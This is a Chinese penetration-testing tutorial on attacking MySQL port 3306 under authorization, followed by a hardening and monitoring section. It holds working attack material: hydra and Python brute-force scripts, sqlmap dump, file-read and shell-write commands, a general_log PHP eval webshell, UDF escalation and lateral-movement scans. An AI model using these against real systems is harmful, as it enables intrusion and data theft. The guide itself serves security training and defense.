1. 为什么3306端口值得专门做一次全流程梳理
做安全评估这些年,我几乎每次拿到目标授权范围后的第一件事,就是把全端口扫一遍。扫描结果出来之后,3306端口总是排在我优先关注清单的前几位。原因很简单:MySQL作为使用率最高的开源关系型数据库之一,部署量太大了,而它的默认配置和运维习惯,又给安全评估留下了太多可以切入的面。
3306端口本身只是一个TCP端口,真正危险的是它背后承载的MySQL服务。很多团队把MySQL部署在云服务器上,为了方便远程管理,直接把bind-address设为0.0.0.0或者绑定了公网网卡,再配一个弱口令root密码。这种情况下,3306端口就像一个敞开的大门,谁都能上来试两下。
这个话题适合谁看?一个是刚接触Web安全、想系统了解数据库层面前沿打法的初学者;另一个是已经能熟练打Web漏洞,但对内网数据库渗透链路不熟的运维或开发。全文会按照一次完整的授权测试流程来梳理,从端口探测、指纹识别、弱口令尝试、SQL注入到权限扩展,每一步都还原真实测试中的操作和判断逻辑。
必须强调的是,这篇文章里的所有思路和方法,都只能在获得书面授权的目标范围内使用,或者在自己的靶场、本地虚拟机里练习。越是有杀伤力的技术,越要守得住底线。
2. 信息收集阶段:确认3306端口和MySQL指纹的真实打法
2.1 端口探测不能只看Open状态
多数新手拿到nmap的-sV结果之后,看到3306端口显示open就开始高兴,接着就急着去爆破。实际上这一步远远不够。端口是Open的,不代表MySQL一定运行在这个端口上,也不代表这个MySQL能正常通信。我在测试中遇到过不少反向代理、端口映射和防火墙规则导致的服务错乱,所以信息收集阶段至少要确认三件事。
第一,确认端口上确实跑的是MySQL。用nmap的服务识别加版本探测:
nmap -sS -sV -p 3306 10.10.10.10版本信息里如果出现mysql字样,比如mysql 5.7.44或者mysql 8.0.36,就可以进入下一步。有些时候nmap返回的结果是tcpwrapped或者mysql但没有版本号,这种情况说明可能存在防火墙拦截或者服务做了定制,需要再用手工方式验证。
第二,确认MySQL版本的真实性。版本号直接决定了后续能不能打已知漏洞。比如MySQL 5.6及以下版本和老版本的5.7,存在不少已经公开的提权或者代码执行漏洞;MySQL 8.0早期版本的认证插件也出过问题。nmap识别到的版本号不一定可信,因为有些管理员会在配置里伪造版本信息,或者通过mysql_native_password的握手包干扰扫描器。
更可靠的确认方式是直接用MySQL客户端建立一个会话,或者用Python的pymysql、mysql-connector-python尝试握手:
mysql -h 10.10.10.10 -P 3306 -u root -p握手过程中服务器返回的Server version字段是相对可信的。即使输错密码,版本信息也会先返回。这一步基本能确认MySQL真实存在。
第三,确认3306端口是否有acl限制。很多安全做得好的目标,虽然3306对外开放,但会配置iptables或安全组只放行特定IP。如果我测试用的出口IP不在白名单里,那些爆破类操作基本没用。快速判断方式是用telnet或者nc测试:
nc -zv 10.10.10.10 3306能连上不代表后续能做事,连不上也别急着判断,可能是目标主动屏蔽了扫描器IP,换个出口或者用HTTP代理中转再试一次。
2.2 指纹识别:从握手包和错误回显里找线索
端口确认是MySQL之后,下一步是尽可能精准地拿到版本和目标的基础信息。这一步最重要,因为后面的漏洞利用方案完全是围绕版本来选的。
手工获取版本信息,最快的方式是直接发起一个握手请求。我习惯用Python快速写一个TCP连接脚本,把MySQL的协议握手流程跑一下,因为有些时候用现成客户端反而会受到SSL校验或认证插件问题的影响:
import socket def mysql_handshake(ip, port=3306, timeout=5): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) data = sock.recv(1024) print("Raw handshake:", data[:200]) # 解析协议版本、服务器版本、连接ID、认证插件等 sock.close() mysql_handshake("10.10.10.10")握手包里通常包含协议版本号、服务器版本字符串、连接线程ID、salt、认证插件名。这些信息能直接告诉我三件事:MySQL的大版本、当前连接用的认证插件是mysql_native_password还是caching_sha2_password,以及目标是否开启了SSL。
这里有个很实用的经验:如果握手包里的认证插件是caching_sha2_password,说明目标至少是MySQL 8.0及以上版本;如果是mysql_native_password,大概率是5.7及以下版本。这个判断对后续是否尝试UDF提权、是否走老的认证绕过思路非常关键,因为老版本的认证插件和新版本的默认配置差异很大。
2.3 未授权访问的试探:比爆破更优先做的事
在爆破之前,务必试一次空密码和匿名登录。很多MySQL实例在初始化之后,root账号的密码是空的,或者是数据库本机账号只设置了localhost权限但管理员为了方便额外创建了root@'%'账号。直接尝试空密码连接是成本最低的测试:
mysql -h 10.10.10.10 -P 3306 -u root --skip-password如果连接成功,说明这个MySQL存在未授权访问漏洞,后面的步骤可以省掉一大半。连接成功后第一件事不是急着查数据,而是看权限:
SELECT CURRENT_USER(); SHOW GRANTS;CURRENT_USER()能看出当前以什么身份连接,SHOW GRANTS能看出权限边界。有些目标虽然允许空密码登录,但只给了SELECT权限,这种就只能做数据读取,没法进一步写文件或提权。不过即使只有查询权限,对于一次测试来说已经能拿到很关键的数据了。
未授权访问还有一种情况是MySQL服务对外完全开放,但账号只能本地登录,远程连接会被拒绝,报错内容类似Access denied for user 'root'@'localhost'。这种状态下如果3306端口同时对外开放了phpMyAdmin、Adminer之类的Web管理入口,就变成先打Web端,再用Web端的数据库连接功能迂回操作。
3. 弱口令与账号枚举:从爆破到验证的一条龙流程
3.1 爆破前必须想清楚的几件事
很多初学者拿到3306开放的第一反应就是hydra爆破root密码。但爆破MySQL和爆破SSH不太一样,有几个隐藏问题必须先弄清楚,不然要么爆破没效果,要么直接把目标账号锁住,打草惊蛇。
第一,MySQL本身有登录失败次数的限制吗?默认情况下MySQL并不内置锁定策略,但很多企业会通过安全组件或定时脚本实现连续失败锁定。如果爆破频率太高,可能造成账号被锁,反而暴露了测试行为。
第二,目标MySQL的max_connect_errors参数设置。默认是100,超过这个数值后,主机会暂时拒绝该IP的连接请求,而且直观表现是"能连上但报错Host is blocked"。这里有个踩过的坑:hydra没有控制连接频率时,经常把目标的连接错误数打到上限,后面合法的测试流量也进不去,整个评估进度被拖慢。
第三,密码字典的选择。最有效的不是几十G的超大字典,而是精准匹配目标的字典。比如目标是一卡通系统、学校OA或者企业ERP,优先尝试root/admin/123456/88888888/数据库名+年份这类组合。我在一个授权项目中遇到过某管理系统的MySQL密码设置成公司域名加年份,这种信息在子域名和ICP备案里就能看出来,根本不需要跑通用字典。
3.2 hydra和自写脚本的实战效率对比
hydra是爆破MySQL最常见的选择,命令很简单:
hydra -l root -P pass.txt 10.10.10.10 mysql但实际测试中,hydra的默认行为是每个密码都建立一次完整TCP连接和MySQL握手,速度上限并不高。如果目标的3306端口限速或者有连接检测,hydra很容易失效。
更好的方式是精准限制并发和尝试间隔:
hydra -l root -P ./pass.txt -t 4 -f -W 5 10.10.10.10 mysql-t 4控制并发线程数,-W 5是每个连接尝试之间的等待时间。这样虽然慢,但不容易触发目标主机的连接错误限制。如果手里有针对目标的社工字典,命中率会比高频爆破高很多。
对于一些需要快速验证的账号密码组合,我习惯自己写一个小脚本,用pymysql建立连接然后执行一条简单SQL,根据是否能成功execute来判断账号密码是否正确:
import pymysql def try_login(ip, port, user, password): try: conn = pymysql.connect( host=ip, port=port, user=user, password=password, connect_timeout=5 ) cursor = conn.cursor() cursor.execute("SELECT VERSION()") print(f"[+] Success: {user}:{password} -> {cursor.fetchone()}") conn.close() return True except Exception as e: return False这个脚本的好处是可以自由控制尝试频率和补充业务判断逻辑,比如先检测账号是否存在(报错信息不同),再决定要不要继续试密码。有些目标在账号不存在时的报错是Access denied for user 'test'@'...',而账号存在但密码错误时虽然报错也是Access denied,但错误信息里会携带using password: YES之类的标识。通过这种差异可以先把有效用户名枚举出来。
3.3 密码进来之后:先看权限再动数据
爆破成功或者拿到一个合法口令之后,很多人第一反应是select * from users。这个顺序有问题。正确做法是先执行权限和角色查询,确认自己能做什么,再决定接下来做什么。因为同样是登录成功,SELECT权限、FILE权限、SUPER权限带来的能力完全不同。
SHOW GRANTS FOR CURRENT_USER(); SELECT CURRENT_USER(); SELECT @@hostname, @@port, @@datadir, @@version, @@secure_file_priv;@@secure_file_priv这个参数尤其重要——它决定了LOAD_FILE()和INTO OUTFILE能不能用。如果这个值是空字符串,说明MySQL对文件读写没有目录限制;如果值是NULL,说明完全禁止文件读写;如果是具体路径如/var/lib/mysql-files/,那读写范围被限制在那个目录里。这个参数直接决定后续能不能写webshell、能不能读系统文件。
权限确认之后,再去看数据。查数据也有讲究,别一上来就查什么敏感表。先看有哪些库:
SHOW DATABASES;判断是否有非默认数据库、业务数据库、备份库、测试库。测试库往往有惊喜,比如数据比生产库还全,或者权限配得比生产库还宽松。重点关注mysql库下的user表,它可以帮你了解目标的账号体系,甚至直接修改密码或者添加新账号。
4. SQL注入到MySQL接管:Web入口如何落地到3306
4.1 判断注入点后如何关联到数据库权限
很多场景下,3306端口本身不直接暴露,但业务系统存在SQL注入,这种情况下最终目标还是落到MySQL的数据权限上。两者的链路是一样的:注入点 -> 确认数据库类型和版本 -> 提权到文件读写 -> 尝试getshell。
先要确认注入点后面是不是MySQL。报错特征很直观:
- MySQL报错常见关键字:
You have an error in your SQL syntax、Mysql::、supplied argument is not a valid MySQL result resource - 报错注入函数:
updatexml()、extractvalue()、floor(),这些都是MySQL特色 - 注释风格:
--、#、/*!*/,其中#注释是MySQL的典型特征
确认是MySQL之后,通过sleep(5)或者benchmark(10000000,sha1('test'))做时间盲注,确认当前用户是否有较高的权限。我一般会优先执行:
and (select 1 from mysql.user limit 0,1) > 0如果能正常返回,说明当前数据库连接用户有权限读取mysql.user表,大概率是root或者具备高权限的账号。这个判断对后续决定是否继续深入很关键。普通业务账号只有select权限的话,注入基本只能读数据,没法向文件系统扩展。
4.2 sqlmap工具的授权测试姿势
sqlmap是注入测试里绕不开的工具,但它不是万能药。拿到一个注入点之后,我通常是先用sqlmap做自动化确认,然后手工验证关键步。
基础命令:
sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql --batch如果注入点存在,接着做权限和库表信息收集:
sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql --privileges --batch sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql --dbs --batch sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql -D target_db --dump --batch但sqlmap在执行大量自动化请求时容易触发WAF或日志告警。更稳妥的做法是把流量放慢,加--delay=2,或者用--safe-url搭配一个正常的请求做间隙请求。还有一个实用参数是--no-cast,有些场景下MySQL版本较新,sqlmap默认的CAST类型转换会失败,加这个参数能提高成功率。
sqlmap最核心的扩展功能是文件读写和命令执行,前提是数据库账号具备FILE权限和secure_file_priv允许。文件读取:
sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql --file-read=/etc/passwd --batch一旦能读文件,就可以尝试读Web配置文件、数据库配置文件、源码文件,进一步扩大战果。文件写入:
sqlmap -u "http://target.com/news.php?id=1" --dbms=mysql --file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php --batch这一步成功的话等于直接getshell。但实际成功率取决于很多因素:MySQL的secure_file_priv限制、Web目录的写权限、--file-dest的路径是否正确。我统计过,真实项目中sqlmap文件写入直接成功的比例并不高,多数时候需要结合手工确认路径。
4.3 写shell的路径推断与文件权限验证
写shell最让人头疼的不是能不能写,而是写到哪。路径推断有几个稳妥的来源:
- 报错信息泄露。让页面报个500,有时候完整物理路径就出来了。
- 读Web配置文件。常见路径
/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/var/www/html/wp-config.php。 - 信息收集阶段的目录扫描。如果扫出来有
/phpmyadmin/、/adminer.php,这些脚本目录通常和Web根目录在同一存储上,可以直接推断。
路径确认之后,写shell之前先做文件写入测试。写一个内容无害的探针文件:
SELECT 'test_probe' INTO OUTFILE '/var/www/html/probe.txt';然后访问http://target.com/probe.txt,能访问到就说明路径正确且目录可写。如果访问不到,看看有没有可能被CDN或者目录规则拦掉了,也可以尝试写到其他物理路径,比如/tmp/,后续靠别的漏洞配合执行。
关于shell内容,别写太大的马。很多Web环境有上传校验、WAF、运行目录限制。我一般先写一个最小化的PHP探针,确认解析没问题后再决定要不要传功能更全的马。小马内容越简单越好,比如:
<?php echo md5('probe'); ?>能解析出结果了,再考虑下一步操作。直接上大马很容易被安全设备抓到特征,没必要在授权测试里冒这个风险。
5. 拿到数据库权限之后的扩展思路:提权与文件系统交互
5.1 UDF提权的真实条件与常见失败原因
UDF(User Defined Function)提权是MySQL渗透里提到最多、实际成功率却不太高的一条路,因为条件限制非常死。
原理是通过自定义函数调用系统命令。标准流程是:把UDF动态库文件写入MySQL插件目录,创建自定义函数,然后通过sys_exec()或sys_eval()执行系统命令。但每一步都有坑。
先看插件的存放目录:
SHOW VARIABLES LIKE 'plugin_dir';我们需要把so文件(Linux)或dll文件(Windows)写进这个目录。写入文件的方式有两条路:一是数据库具备FILE权限,且secure_file_priv允许,直接用SELECT ... INTO DUMPFILE写;二是如果已经能通过SQL注入或其他方式拿到Webshell,直接上传到插件目录。
这里的第一个坑:MySQL 8.0默认移除了UDF文件的匿名写入支持。老版本可以用SELECT ... INTO DUMPFILE直接写二进制文件,新版本的secure_file_priv默认是NULL,大部分情况下写不进去。
第二个坑:系统表mysql.func需要INSERT权限。如果当前账号不是root或者不是所有库的ALL PRIVILEGES,创建函数时会报错。
第三个坑:MySQL服务运行用户对插件目录的写权限。很多Linux环境下MySQL使用独立的mysql用户运行,插件目录是root所有,Web服务写的文件落在插件目录后,MySQL加载时可能因为权限问题失败。
所以我的建议是:先别急着UDF提权,先确认当前账号是不是root、plugin_dir在哪、secure_file_priv是什么状态。如果三个条件都满足,再走UDF;如果不满足,果断换思路。
5.2 general_log日志写shell的适用场景
UDF走不通时,另一个实用思路是利用MySQL的通用日志general_log写shell。原理是:把general_log开关打开、把日志输出目录改成Web目录,然后把SQL语句作为日志内容写进去,日志文件就是一个包含PHP代码的文件了。
默认情况下general_log是关闭的,但如果有SUPER权限,可以动态修改:
SET global general_log = 'ON'; SET global general_log_file = '/var/www/html/shell.php';然后执行一条包含恶意代码的SQL:
SELECT '<?php @eval($_POST["cmd"]); ?>';这条SQL会以日志的形式追加到/var/www/html/shell.php里。之后访问这个文件,就能触发里面的PHP代码。
这个思路在实际测试里成功率比UDF高,因为绕过了secure_file_priv的限制,也不用考虑插件目录权限。它的前提是当前账号有SUPER权限或SET GLOBAL权限,而这在拿到root账号之后基本都能满足。
但是有一个很隐蔽的坑:PHP解析器只认<?php开头的标签,而general_log日志里除了我们写入的SQL,还会记录连接时间、连接ID、操作日志等额外内容。日志文件里的内容不是纯粹的PHP,前面会有大量非PHP文本,如果这些文本里出现<?php之外的干扰字符,不影响PHP解析——PHP解析器会忽略标签外的内容,但文件里如果有多个<?php标签,或者我们写入的语句本身被日志格式拆分,可能导致解析出错。
实际操作的技巧是:
SELECT '<?php phpinfo();?>'写完后访问这个文件,确认能解析。如果文件内容里被切断了,多写几次,每次在SQL语句末尾加上注释符#,尽量让日志在每一行的结尾保持完整PHP标签。
5.3 MySQL客户端连接文件的利用
除了直接在MySQL里操作,还可以看看目标主机上有没有MySQL客户端留下的连接记录和配置文件。Linux下常见位置:
/root/.my.cnf~/.mysql_history/etc/mysql/- 应用目录下的
application.yml、db.php、.env
这些文件里经常明文保存数据库口令。拿到这些口令可以继续复用,用同一个数据库账号去连接其他主机,形成横向扩展。我在一次评估中,从目标一个应用的.env文件里拿到了数据库密码,之后用这个密码去尝试开放了3306的其他网段主机,又打下来三台。这种密码复用的问题在真实环境中相当普遍。
6. 内网与横向移动:靠3306端口打开一片新天地
6.1 拿下一台外网主机后如何借用3306做跳板
很多目标的3306端口不对公网开放,但从拿下的一台外网主机可以跳到内网去连接其他数据库。这种情况下,最常用的手段是利用已经控制的Linux主机做端口转发,把内网某台主机的3306端口转发到本地。
经典思路是用ssh -L做本地端口转发,前提是拿到目标主机的SSH权限:
ssh -L 13306:192.168.1.100:3306 root@public-target.com之后本地连接127.0.0.1:13306,流量经过跳板机转发到内网的192.168.1.100:3306。这样就能用本地的MySQL客户端去访问原本无法直达的内网数据库。
如果目标环境没有SSH或者SSH不可达,还可以用MySQL自身的INSTALL PLUGIN配合代理工具,或者写一个简单的socket转发脚本,但这些方式比SSH转发复杂得多,稳定性也差。优先推荐SSH隧道方案。
6.2 内网横向中MySQL弱口令的高命中场景
内网环境里数据库弱口令的命中率通常高于外网,因为很多内网系统上线后没有人做基线审计,运维为了方便,密码设置非常随意。常见组合:
root / rootroot / 123456root / 12345678root / root123root / 数据库名@2024test / testadmin / admin888
在内网扫描时,速度可以适当提上去,因为内网连接质量高。我喜欢配合nmap做批量探测,先发现内网中的所有3306端口,再对存活主机做账号口令验证:
nmap -sV -p 3306 192.168.1.0/24拿到一批3306存活主机后,使用一个简单的密码验证脚本批量尝试,比单台爆破效率高得多。但要注意控制速度,避免内网安全设备报警。还有一个容易被忽略的细节——内网数据库通常不止一台,同一个密码可能同时管理十几台实例。拿下一台之后,保留证据,继续横向测试时要克制,避免破坏线上业务。
6.3 大内网扫描时的CIDR计算与存活判断
内网扫描时很多新手一上来就扫整个192.168.0.0/16,这在实际场景里既慢又容易被发现。正确的思路是先用存活主机探测缩小范围,再精准扫描3306。
存活判断推荐用nmap -sn做大范围ICMP探测,然后用TCP SYN扫描配合--open只显示开放端口。针对3306端口:
nmap -sn 192.168.1.0/24 nmap -sS -p 3306 --open 192.168.1.0/24有时候目标禁ICMP,-sn的结果不可靠,可以用TCP ACK ping:
nmap -PA -p 80,443,3306,3389 192.168.1.0/24针对每种网段规模,CIDR划分需要算清楚。/24是256个IP,/16是65536个IP,扫描时长和日志量完全不是一个量级。除非有明确授权和充分必要性,大网段全端口扫描不是值得推广的习惯,容易引发大面积业务告警。判断哪些网段值得扫,可以从目标网络架构图、已经获取的网卡配置、路由表、DNS解析记录里找线索。先在内网机器上执行:
ip addr route -n arp -a cat /etc/hosts这些信息能直接告诉你当前主机的网段、网关和已知的其他主机,比盲目大网段扫描精准得多。
7. 防守视角:从测试链条反推MySQL加固的关键点
7.1 账号、权限与暴露面的基线检查
站在防守方看,前面所有测试手段之所以能成立,绝大多数原因是基础运维动作没做到位。我在这里把自己实际检查的基线项列出来,每一条都对应前面流程里的某个突破口。
第一,绑定地址和网络暴露。MySQL配置文件my.cnf或my.ini里必须有:
bind-address = 127.0.0.1或者只绑定内网网卡地址。如果必须对外提供服务,要在防火墙或安全组层面加IP白名单。3306端口直接对全公网开放,是所有问题的开始。
第二,账号权限的收敛。检查mysql.user表:
SELECT user, host, authentication_string FROM mysql.user; SELECT * FROM information_schema.user_privileges WHERE GRANTEE LIKE '%root%';重点关注:root账号是否允许远程登录(host是%)、是否存在无密码账号、是否存在只有用户名没有密码的过期账号。生产环境root账号只保留localhost登录,远程访问用专用账号并按业务最小化授权。
第三,口令强度与密码策略。MySQL 5.7及以上版本可以启用validate_password插件,强制密码复杂度。但插件只是防线之一,更关键的是禁止使用历史运维习惯里的通用密码。内部定期的账号口令审计,最多不超过一个季度一次。
第四,secure_file_priv的设置。如果业务不需要MySQL读写文件,统一设置为NULL(表示禁用文件导入导出):
secure-file-priv = NULL如果确实有备份或导入需求,只放行指定目录:
secure-file-priv = /data/mysql-files这个选项能直接封死INTO OUTFILE和LOAD_FILE()的利用链。
7.2 日志、审计与异常连接监测
数据库层面的安全不止是配置,监测同样重要。MySQL开启general_log会带来比较大的性能开销,生产环境一般不建议常态开启,但可以开启slow_query_log和二进制日志。二进制日志本身记录所有变更操作,对于追踪数据被篡改或导出很有帮助。
更实用的手段是从连接侧和端口侧做监控:
- 异常来源IP:某台数据库实例突然出现大量来源IP完全陌生的连接,不管是成功还是失败,都值得告警。
- 失败连接次数的突增:短时间内在同一账号上出现大量
Access denied,往往说明有人在尝试弱口令。 - 非工作时间的高频查询:长期没有业务流量的旧系统,半夜出现大量查询,大概率是被外部访问了。
用系统层的tcpdump抓3306端口的流量也能看到很多端倪。识别异常SQL连接模式,比如执行时间极短、频率极高的重复查询,通常不是正常业务形态。还有一点——观察连接成功后的第一条SQL。正常业务程序通常先SET NAMES或执行查询,而人工连接通常会先执行SELECT @@version或SHOW GRANTS,这也是一个容易被忽略的行为特征。
7.3 版本更新与已知漏洞的修复优先级
MySQL的版本更新节奏比较快,5.7系列已经进入EOY阶段,官方停止维护后再出问题就没有补丁了。实际检查中,我最常见的两个风险场景:一是老版本5.7停止更新后,业务侧因为兼容性问题迟迟不升级;二是8.0系列发布早期版本后管理员不跟进小版本。
我建议至少做到两点:
- 任何MySQL实例不低于官方支持的最低版本,且小版本保持最近一两个季度内的补丁。
- 关注官方安全公告中和数据库认证、权限提升、溢出相关的更新,按严重程度排序升级。
版本升级不是一件小事,会遇到兼容性问题,所以测试环境要先行。升级前先做全量备份,并在测试环境跑一遍业务核心链路,成功后再同步生产。
8. 最后再讲点个人经验
回过头来看3306端口这条线,它其实是整个渗透测试流程的一个缩影。端口本身没有善恶,真正的风险来自配置、口令、版本和权限管理。我在做测试时有个习惯,每打完一个目标都会回头整理一份加固建议给对方,毕竟拿到权限不是目的,帮对方看清楚防御短板才是评估的价值所在。
给正在学这块的朋友几个实在的建议。第一,一定在本地搭一套靶场环境再练习,不要拿真实业务系统试手,出了事不是技术问题而是法律问题。第二,信息收集做扎实比堆工具更重要,很多测试失败都是因为连目标是什么版本都没确认就开始动手。第三,多记录自己每一步的判断依据,复盘时才能看出哪些动作是有效的、哪些是多余的。第四,工具用顺手了之后,尝试全手工操作一遍,这样你对MySQL协议、认证流程、权限模型的理解深度会完全不一样。
希望这篇全流程梳理能帮你在下一次测试里少走点弯路。